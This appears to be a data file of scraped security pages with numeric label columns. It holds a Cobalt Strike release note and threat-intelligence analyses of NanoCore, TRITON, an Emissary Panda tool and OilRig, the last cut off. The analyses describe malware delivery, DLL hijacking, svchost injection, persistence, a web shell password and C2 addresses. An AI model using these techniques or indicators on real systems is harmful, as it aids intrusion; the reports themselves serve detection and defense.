Resource Kit Cobalt Strike 3.8\xe2\x80\x99s Resource Kit finally gives you a way to change Cobalt Strike\xe2\x80\x99s built-in script templates! The Resource Kit is a collection of Cobalt Strike\xe2\x80\x99s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -> Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows. Check out the release notes to see a full list of what\xe2\x80\x99s new in Cobalt Strike 3.8. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available. Share this: Click to share on Facebook (Opens in new window) Click to share on LinkedIn (Opens in new window) Click to share on Twitter (Opens in new window) Click to share on Reddit (Opens in new window) Related Posted in Cobalt Strike | One comment Cool! It\xe2\x80\x99d be interesting to test these new features against some of those next-gen endpoint defenses\xe2\x80\xa6 \xc2 \xc2 \xc2 \xc2 by Kabel May 23, 2017 at 9:52 am Reply Leave a Reply Cancel reply Enter your comment here... Fill in your details below or click an icon to log in: Email (required) (Address never made public) Name (required) Website You are commenting using your WordPress.com account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Google account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Twitter account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Facebook account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) Cancel Connecting to %s Notify me of new comments via email. Notify me of new posts via email. Welcome\xe2\x80\xa6 Welcome to the Cobalt Strike blog by Strategic Cyber LLC's Raphael Mudge Contents Adversary Simulation Announcements Armitage Cobalt Strike Interviews Links metasploit framework Red Team Scripting Strategic Cyber LLC Uncategorized Subscribe RSS - Posts RSS - Comments Enter your email address to find out about new posts by email. I won't use your email for any other reason. Subscribe Let\xe2\x80\x99s Connect Twitter Contact Information Conferences 2017 Want to meet in person? I'll have a vendor table at these conferences: \xc2 ShmooCon Blog at WordPress.com. Entries (RSS) and Comments (RSS).","0","1","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Products Solutions About Cofense Free Tools Resources GET A DEMO Partners Blog Community Contact Cofense The NanoCore RAT Has Resurfaced From the Sewers Kam Patel \xe2\x80\xa2 Malware Analysis | March 2, 2018 Share: The Cofense\xe2\x84\xa2 Phishing Defense Center has observed several e-mails attempting to deliver a popular variant of a Remote Access Trojan (RAT) malware that appears to have recently resurfaced: NanoCore. Figure 1 shows an example of one of the emails we received. Figure 1: Email delivering NanoCore RAT How it works. The email purports to be a payment confirmation that was sent from the accounts department of a company called Dia Exports derived from the sender\xe2\x80\x99s email address (accounts@diaexports.com). The \xe2\x80\x98View\xe2\x80\x99 and \xe2\x80\x98Download\xe2\x80\x99 links in Figure 1 navigate to the same page: hxxps://dl[.]dropboxusercontent[.]com/content_link/75XIYjUXQ0GoDIX4zQHBaBdvhrAz3vHUvjG99GtZ8aXMF85hKCgdDiD1SYobPHag/file?dl=1 The website downloads a compressed RAR archive named \xe2\x80\x9cSWIFT- (followed by random letters and numbers)\xe2\x80\x9d and once extracted contains a JavaScript file. Executing this JavaScript file causes a temporary VBScript file to be written to the directory: C:\\Users\\Fisher\\AppData\\Local\\Temp as shown in Figure 2. Figure 2: Temporary VBS file which initiates the download of the NanoCore RAT The VBScript file is then executed which in turn causes an executable file to be downloaded from the payload domain chantracomputer[.]com as seen in Figure 3. Figure 3: Download request that is made to the payload domain The process YSI.exe is spawned which then creates the following directory: C:\\Users\\Test\\AppData\\Local\\Temp\\subfolder The files \xe2\x80\x9cfirefox.exe\xe2\x80\x9d and \xe2\x80\x9cfirefox.vbs\xe2\x80\x9d are also created under this directory. The process \xe2\x80\x9cYSI.exe\xe2\x80\x9d is terminated and the VBScript \xe2\x80\x9cfirefox.vbs\xe2\x80\x9d runs. Let\xe2\x80\x99s take a closer look at this VBScript file depicted in Figure 4. Figure 4: VBS startup script for the NanoCore RAT As you can see from the VBScript file, the commands in the script are invoked using the wscript shell. It does two things: it creates a \xe2\x80\x9cRunOnce\xe2\x80\x9d key in the registry so that the VBScript is executed each time the user logs on the machine (indicating persistence) and second, the VBScript runs the executable file \xe2\x80\x9cfirefox.exe\xe2\x80\x9d. Once the process \xe2\x80\x9cfirefox.exe\xe2\x80\x9d is running, we can see that a connection is now established to the command and control server shown in Figure 5. Figure 5: NanoCore RAT making a connection to its C2 server The process also creates a new folder under the directory C:\\Users\\Fisher\\AppData\\Roaming displayed in Figure 6. Figure 6: New directory created by the NanoCore RAT This directory contains other indicators to support the fact that a RAT is installed on the infected machine (Figure 7). Figure 7: Directory created by the NanoCore RAT containing binary data Dumping the memory contents of the process \xe2\x80\x9cfirefox.exe\xe2\x80\x9d reveals that this particular RAT belongs to the NanoCore family, shown in Figure 8. Figure 8: Memory dump confirming the family of RATs that we are dealing with is NanoCore Why RATs are popular\xe2\x80\x94and steps you can take if you\xe2\x80\x99re infected. NanoCore is a type of Remote Access Trojan (RAT) first discovered back in 2013. The very first versions of the RAT were made available on the dark web not too soon after its initial discovery. In 2015, a paid version of NanoCore was made available on the open Internet. However, free, cracked versions were quickly leaked, which most likely led to its widespread use and popularity among underground criminals. NanoCore is a modular RAT which means that the threat actor can expand its functionality by installing additional modules based on his or her own needs. This is what makes NanoCore so desirable to criminals. If you suspect that you are infected with a RAT, consider confirming this first. This can be done by monitoring network connections and looking for any unexpected connections on an open port. Netstat is a great utility which allows you to view all active and listening TCP and UDP ports on a local machine. If you have identified that your machine is indeed infected, we recommend disconnecting your machine from the Internet to prevent the malicious actor from probing your machine and causing any further damage. Process Hacker is another tool which can help you to identify the malware process and like Netstat, it can also show you active and listening TCP and UDP connections as well as the processes that are connected to it. The registry is a good place to look as most malware typically write to it for persistence on the victim\xe2\x80\x99s machine. Checking the \xe2\x80\x9cAppData/Local/Temp\xe2\x80\x9d directory is another great place to find indicators of compromise. Sign up for free threat alerts. Get phishing and malware trends delivered to your inbox: https://cofense.com/threat-alerts/ Recent News Articles 16-Sept-2019 Emotet Revived with Large Spam Campaigns Around the World Bleeping Computer 12-Sept-2019 Facebook, YouTube used in Brazilian phishing scheme SC Media 10-Sept-2019 Microsoft Phishing Page Uses Captcha to Bypass Automated Detection Bleeping Computer 25-Feb-2019 5 Reasons to Add Phishing Defense to Your Service Catalog MSSP Alliance Cofense Headquarters 1602 Village Market Blvd, SE #400 Leesburg, VA 20175 Tel: 1-888-304-9422 Sitemap Overview Management Team Board Of Directors Careers Contact Sitemap Copyright \xc2\xa9 2019 Cofense. All rights reserved.Privacy Policy | Legal Under 500 employees? Cofense PhishMe Free, our no-cost phishing defense solution, was created just for you! SIGN UP FOR YOUR FREE ACCOUNT","0","1","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research TRITON Attribution: Russian Government-Owned Lab M... Threat Research TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers October 23, 2018 | by FireEye Intelligence Malware Ics Russia Critical Infrastructure Overview In a previous blog post we detailed the TRITON intrusion that impacted industrial control systems (ICS) at a critical infrastructure facility. We now track this activity set as TEMP.Veles. In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute. TRITON Intrusion Demonstrates Russian Links; Likely Backed by Russian Research Institute FireEye Intelligence assesses with high confidence that intrusion activity that led to deployment of TRITON was supported by the Central Scientific Research Institute of Chemistry and Mechanics (CNIIHM; a.k.a. \xd0\xa6\xd0\x9d\xd0\x98\xd0\x98\xd0\xa5\xd0\x9c), a Russian government-owned technical research institution located in Moscow. The following factors supporting this assessment are further detailed in this post. We present as much public information as possible to support this assessment, but withheld sensitive information that further contributes to our high confidence assessment. FireEye uncovered malware development activity that is very likely supporting TEMP.Veles activity. This includes testing multiple versions of malicious software, some of which were used by TEMP.Veles during the TRITON intrusion. Investigation of this testing activity reveals multiple independent ties to Russia, CNIIHM, and a specific person in Moscow. This person\xe2\x80\x99s online activity shows significant links to CNIIHM. An IP address registered to CNIIHM has been employed by TEMP.Veles for multiple purposes, including monitoring open-source coverage of TRITON, network reconnaissance, and malicious activity in support of the TRITON intrusion. Behavior patterns observed in TEMP.Veles activity are consistent with the Moscow time zone, where CNIIHM is located. We judge that CNIIHM likely possesses the necessary institutional knowledge and personnel to assist in the orchestration and development of TRITON and TEMP.Veles operations. While we cannot rule out the possibility that one or more CNIIHM employees could have conducted TEMP.Veles activity without their employer\xe2\x80\x99s approval, the details shared in this post demonstrate that this explanation is less plausible than TEMP.Veles operating with the support of the institute. Detail Malware Testing Activity Suggests Links between TEMP.Veles and CNIIHM During our investigation of TEMP.Veles activity, we found multiple unique tools that the group deployed in the target environment. Some of these same tools, identified by hash, were evaluated in a malware testing environment by a single user. Malware Testing Environment Tied to TEMP.Veles We identified a malware testing environment that we assess with high confidence was used to refine some TEMP.Veles tools. At times, the use of this malware testing environment correlates to in-network activities of TEMP.Veles, demonstrating direct operational support for intrusion activity. Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target\xe2\x80\x99s network. The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment. TEMP.Veles\xe2\x80\x99 lateral movement activities used a publicly-available PowerShell-based tool, WMImplant. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection. Soon after, the customized utility was again evaluated in the malware testing environment. The following day, TEMP.Veles again tried the utility on a compromised system. The user has been active in the malware testing environment since at least 2013, testing customized versions of multiple open-source frameworks, including Metasploit, Cobalt Strike, PowerSploit, and other projects. The user\xe2\x80\x99s development patterns appear to pay particular attention to AV evasion and alternative code execution techniques. Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software, retrofitted with code used for command and control. Testing, Malware Artifacts, and Malicious Activity Suggests Tie to CNIIHM Multiple factors suggest that this activity is Russian in origin and associated with CNIIHM. A PDB path contained in a tested file contained a string that appears to be a unique handle or user name. This moniker is linked to a Russia-based person active in Russian information security communities since at least 2011. The handle has been credited with vulnerability research contributions to the Russian version of Hacker Magazine (\xd1 \xd0\xb0\xd0\xba\xd0\xb5\xd1\x80). According to a now-defunct social media profile, the same individual was a professor at CNIIHM, which is located near Nagatinskaya Street in the\xc2 Nagatino-Sadovniki district of Moscow. Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140, which is registered to CNIIHM. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion. Multiple files have Cyrillic names and artifacts. Figure 1: Heatmap of TRITON attacker operating hours, represented in UTC time Behavior Patterns Consistent with Moscow Time Zone Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow, lending some further support to the scenario that CNIIHM, a Russian research organization in Moscow, has been involved in TEMP.Veles activity. We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target\xe2\x80\x99s network. These file creation times conform to a work schedule typical of an actor operating within a UTC+3 time zone (Figure 1) supporting a proximity to Moscow. Figure 2: Modified service config Additional language artifacts recovered from TEMP.Veles toolsets are also consistent with such a regional nexus. A ZIP archive recovered during our investigations, schtasks.zip, contained an installer and uninstaller of CATRUNNER that includes two versions of an XML scheduled task definitions for a masquerading service \xe2\x80\x98ProgramDataUpdater.\xe2\x80\x99 The malicious installation version has a task name and description in English, and the clean uninstall version has a task name and description in Cyrillic. The timeline of modification dates within the ZIP also suggest the actor changed the Russian version to English in sequential order, heightening the possibility of a deliberate effort to mask its origins (Figure 2). Figure 3: Central Research Institute of Chemistry and Mechanics (CNIIHM) (Google Maps) CNIIHM Likely Possesses Necessary Institutional Knowledge and Personnel to Create TRITON and Support TEMP.Veles Operations While we know that TEMP.Veles deployed the TRITON attack framework, we do not have specific evidence to prove that CNIIHM did (or did not) develop the tool. We infer that CNIIHM likely maintains the institutional expertise needed to develop and prototype TRITON based on the institute\xe2\x80\x99s self-described mission and other public information. CNIIHM has at least two research divisions that are experienced in critical infrastructure, enterprise safety, and the development of weapons/military equipment: The Center for Applied Research creates means and methods for protecting critical infrastructure from destructive information and technological impacts. The Center for Experimental Mechanical Engineering develops weapons as well as military and special equipment. It also researches methods for enabling enterprise safety in emergency situations. CNIIHM officially collaborates with other national technology and development organizations, including: The Moscow Institute of Physics and Technology (PsyTech), which specializes in applied physics, computing science, chemistry, and biology. The Association of State Scientific Centers \xe2\x80\x9cNauka,\xe2\x80\x9d which coordinates 43 Scientific Centers of the Russian Federation (SSC RF). Some of its main areas of interest include nuclear physics, computer science and instrumentation, robotics and engineering, and electrical engineering, among others. The Federal Service for Technical and Export Control (FTEC) which is responsible for export control, intellectual property, and protecting confidential information. The Russian Academy of Missile and Artillery Sciences (PAPAH) which specializes in research and development for strengthening Russia\xe2\x80\x99s defense industrial complex. Information from a Russian recruitment website, linked to CNIIHM\xe2\x80\x99s official domain, indicates that CNIIHM is also dedicated to the development of intelligent systems for computer-aided design and control, and the creation of new information technologies (Figure 4). Figure 4: CNIIHM website homepage Primary Alternative Explanation Unlikely Some possibility remains that one or more CNIIHM employees could have conducted the activity linking TEMP.Veles to CNIIHM without their employer\xe2\x80\x99s approval. However, this scenario is highly unlikely. In this scenario, one or more persons \xe2\x80\x93 likely including at least one CNIIHM employee, based on the moniker discussed above\xc2 \xe2\x80\x93 would have had to conduct extensive, high-risk malware development and intrusion activity from CNIIHM\xe2\x80\x99s address space without CNIIHM\xe2\x80\x99s knowledge and approval over multiple years. CNIIHM\xe2\x80\x99s characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity. TRITON is a highly specialized framework whose development would be within the capability of a low percentage of intrusion operators. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"Skip to main contentSkip to footerSkip to main contentSkip to footer +44 161 209 5200Select you countryUnited Kingdom Flag Search NCC GroupToggle navigation Emissary Panda \xe2\x80\x93 A potential new malicious tool Introduction Hacking groups linked to the Chinese state are not a new threat. In fact, for the last couple years they have tended to be the most active along with Russian state affiliated hacking groups. One of these groups is the \xe2\x80\x98Emissary Panda\xe2\x80\x99 group, also known as TG-3390, APT 27 and Bronze Union. This is a hacking group with Chinese origins which targets selected organisations related with education, energy and technology. In the past, Emissary Panda has used many ways to target their victims, with the most notable being the exploits from the Hacking Team leak. Usually, the delivered payload is either the well-known \xe2\x80\x98PlugX\xe2\x80\x99 or \xe2\x80\x98HttpBrowser\xe2\x80\x99 RAT, a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups. Recent research showed that a new tool is in development from this group, which is still active, and is being found in recent compromised machines. The purpose of this blog post is to briefly describe this new tool we found which has possible ties with the same people who developed \xe2\x80\x98HttpBrowser\xe2\x80\x99. Attribution While attribution is always hard, we assessed that the Emissary Panda group is highly likely behind the development of this tool based on the following information: Several code similarities with previous samples (see examples in Figure 1 and 2). Tools were found on compromised machines which have been used in the past by this group. These tools are: ChinaChopper, a web shell which allows the attacker to execute commands on the victim\xe2\x80\x99s machine. A password is required in order to interact with the web shell. In our case the password was: \xe2\x80\x9c123!@ZA\xe2\x80\x9d. The publicly available nbtscan and netview enumeration tools. A modified mimikatz which extracts passwords from memory. The Hunter tool, a web app scanning tool. Use of DLL Hijacking technique to execute the payload, a technique that they have used in the past. Figure 1: Old sample on the left side, our sample on the right side Figure 2: Old sample on the left side, our sample on the right side Figure 3: Old sample on the left side, our sample on the right side Technical overview Based on our research and investigation of the compromised machines, we were able to find two samples which seem to be in development and contain code from some old HttpBrowser samples. Both samples share a lot of code but one of them has more functionality. The execution starts when a malicious SFX file is executed. The following files are included in the executable: INISafeWebSSO.exe \xe2\x80\x93 Legitimate file which will load the malicious DLL inicore_v2.3.30.dll \xe2\x80\x93 Malicious DLL sys.bin.url \xe2\x80\x93 The name of both malicious payloads we found In order to execute the payload, the attackers take advantage of a technique called DLL Search Order Hijacking. Once the malicious DLL is loaded, it will decrypt a part of its own code using a XOR loop (see Figure 4), patch the entry point of the legitimate executable and jump again, back to the malicious DLL (see Figure 5). Figure 4: First XOR decryption loop Figure 5: Patched entry point After jumping back to the DLL, it will repeat the same process to decrypt a part of itself and find the addresses of LoadLibrary and GetProcAddress to load all the necessary functions dynamically. Lastly, it will read the sys.bin.url file and the execution will transfer to it. Once this is done, it will XOR decrypt the rest of the malicious payload and decompress it using RtlDecompressBuffer. Payload We will focus on the payload with the additional functionality (we will describe the differences between the two samples we found later). Entering the payload, we can see some interesting strings which seem to be used for debugging purposes (see Figure 6 and Figure 7). This is one of the reasons we believe that the tool is still in development. Figure 6: Debug strings Figure 7: Debug strings The action taken is based on the number of passed parameters. They are summarised in the following table and described below. Option 0 - Terminate/delete itself, WMI execution When the binary is executed for the first time: It will check if it runs from the %TEMP% folder, if it does, it will attempt to kill its own process. If it runs from the %APPDATA% folder it will spawn a new svchost process with -k as a parameter and it will inject the sys.bin.url to it. Otherwise, it will create a new directory with the name systemconfig under %APPDATA%, move all the three files (executable, DLL, sys.bin.url) into it, and will execute the binary from the created directory using WMI. Option one \xe2\x80\x93 Svchost injection Where the number of passed parameters is one, the payload will read the sys.bin.url file from %appdata%\\systemconfig. It will then spawns a new svchost process as C:\\\\windows\\\\system32\\\\svchost.exe \xe2\x80\x93k update in suspended state and injects the payload. Finally, it patches the entry point of svchost.exe so it can execute the malicious payload after the ResumeThread call. Option two \xe2\x80\x93 Persistence & svchost injection again The method of persistence depends on the access rights. If the payload\xe2\x80\x99s process is running from a user with admin rights then it will create a new service. The service name will be taken from the config, in our case the name is systemconfig with \xe2\x80\x98for system config\xe2\x80\x99 as the description of the service. The binary path will be the extracted installer path along with /update as a parameter. Otherwise, it will add the binary\xe2\x80\x99s path to the Software\\Microsoft\\Windows\\CurrentVersion\\Run key with \xe2\x80\x94Update as a parameter. If the persistence was done by this method, or not at all, then it will inject into svchost as described in the option one section. Option three \xe2\x80\x93 Core functionality This is described in detail below in the Core Functionality section. Option four \xe2\x80\x93 UAC Bypass An already public UAC bypass method is included in the binary. It doesn\xe2\x80\x99t matter if the method will work or not since the process will exit. This is one more indication that the tool is still in development and there are plans to expand its capabilities. Core functionality Currently, the core functionality includes writing the configuration to registry and communicating with the C&C server. We did not find any malicious functionality such as uploading or downloading files, or executing attacker\xe2\x80\x99s commands. Config Each value of the config is written to the registry after encrypting them using the DES algorithm. A new registry key is created under HKEY_CURRENT_USER\\Software\\Classes\\ using either the SystemProductName value from the HARDWARE\\DESCRIPTION\\System\\BIOS key or the hardcoded string \xe2\x80\x9c68A-D3H-B1111 as a name. Additionally, a hardcoded string -HjDWr6vsJqfYb89mxxxx is appended to the name. For example: VMware Virtual Service-HjDWr6vsJqfYb89mxxxx or Z68A-D3H-B1111-HjDWr6vsJqfYb89mxxxx The key and the IV used in the encryption are based on the first eight bytes of this registry key\xe2\x80\x99s name, for example, VMware V. The encrypted sub-keys are described below. The majority of these sub-keys will not be read from the payload once they have been written. This might suggest that there are plans to expand the functionality of the tool. We wrote a Python script to automate the identification of the registry key and decryption of the sub-key values [1]. A summary of the decrypted values can be found in the following table: Key name Description Key value in sample one Key value in sample two Bin Payload file\xe2\x80\x99s name sys.bin.url sys.bin.url Console N/A helen galway Dll Hijacked DLL used to run the payload inicore_v2.3.30.dll inicore_v2.3.30.dll Group N/A Default Default GUID Unique GUID generated using CoCreateGuid A unique GUID A unique GUID MD5 N/A HjDWr6vsJqfYb89mxxxx HjDWr6vsJqfYb89mxxxx OnlineHelp Stores the C&C IP. 103.59.144.183:443, 159.65.80.157:443 Path Path for Associated Files C:\\ProgramData\\systemconfig\\ C:\\ProgramData\\systemconfig\\ PE Legitimate executable which will load the DLL file. INISafeWebSSO.exe INISafeWebSSO.exe Periodic N/A 0:1 0:1 Process Process to inject svchost.exe svchost.exe Serv Service name systemconfig systemconfig ServDis Service description for systemconfig for systemconfig Differences between the two samples As mentioned before, the two samples share a lot of code but there are many differences between them. Two important differences which should be highlighted are: Each sample has different debug strings. The sample with less functionality needs to read and decrypt the stored registry values in order to communicate with the C&C or to inject to svchost. This is because the config is not included in the binary. A summary of the differences can be found below: Conclusion Emissary Panda is still active and continues to target selected organisations. Even though the discovered samples do not have any malicious functionality, we assess that they are still in development and will be used in future attacks. References [1] https://github.com/nccgroup/Cyber-Defence/tree/master/Scripts/emissary_panda_registry Previous work carried out: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage https://www.secureworks.com/research/bronze-union IOCs C&C IP 103.59.144.183 159.65.80.157 Registry value Description HjDWr6vsJqfYb89mxxxx Appended to a key name in Software\\Classes\\ Z68A-D3H-B1111 Prepended to a key name in Software\\Classes\\ C:\\ProgramData Directory with three identified files inside systemconfig Check for the presence of this key in: Software\\Microsoft\\Windows\\CurrentVersion\\Run Systemconfig Check for this service with description: \xe2\x80\x9cfor systemconfig\xe2\x80\x9d File Name SHA-256 INISafeWebSSO.exe C501203FF3335FBFC258B2729A72E82638719F60F7E6361FC1CA3C8560365A0E inicore_v2.3.30.dll 4D65D371A789AABE1BEADCC10B38DA1F998CD3EC87D4CC1CFBF0AF014B783822 sys.bin.url 2B2BB4C132D808572F180FE4DB3A0A3143A37FDECE667F8E78778EE1E9717606 sys.bin.url 3E718F39DFB2F6B8FBA366FEFA8B7C127DB1E6795F3CAAD2D4A9F3753EEA0ADC Published date: 18 May 2018 Written by: Nikolaos Pantazopoulos and Thomas Henry twitter icon facebook icon google+ icon linkedin icon Filter By Service Software Escrow & Verification Cyber Security RSS Feed Risk Management & Governance Corporate Business Insights Careers Filter By Date 2019 September (3) August (11) July (11) June (16) May (3) April (7) March (8) February (2) January (3) 2018 2017 2016 2015 2014 2013 2012 Call us on: +44 161 209 5200 Newsroom & Events News Press Releases Events Blogs About Us History Board & Senior Management Careers Resources Office Locations \xc2\xa92019 NCC Group. All rights reserved. Investor Relations Share Price Results & Presentations Stock Exchange Announcements Legal Terms & Conditions Privacy Policy Cookie Policy Accessibility Modern Slavery Statement Latest from @NCCGroupplc FacebookTwitterLinkedIn","0","1","0","1","1","0","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"OilRig uses ISMDoor variant; Possibly Linked to Greenbug Threat Group Menu Tools Playbooks Speaking Events About Us OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group 22,567 people reacted 0 14 min. read Share By Robert Falcone and Bryan Lee July 27, 2017 at 5:00 AM Category: Unit 42 Tags: Clayside, Helminth, OilRig, OilRig attacks Unit 42 has discovered activity involving threat actors responsible for the OilRig campaign with a potential link to a threat group known as GreenBug. Symantec first reported on this group back in January 2017, detailing their operations and using a custom information stealing Trojan called ISMDoor. In July 2017, we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016. Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset, but further examination revealed not only new variants of the delivery document we named Clayslide, but also a different payload embedded inside it. In the past, we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth; in this instance, the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent. The Attack On July 16, 2017, actors associated with the OilRig campaign sent emails to five different individuals within the targeted organization. All of the emails sent had the same subject, attachment filename, and attached Excel file (SHA256: 3eb14b6705179590f0476d3d3cbd71665e7c1935ecac3df7b876edc9bd7641b6). 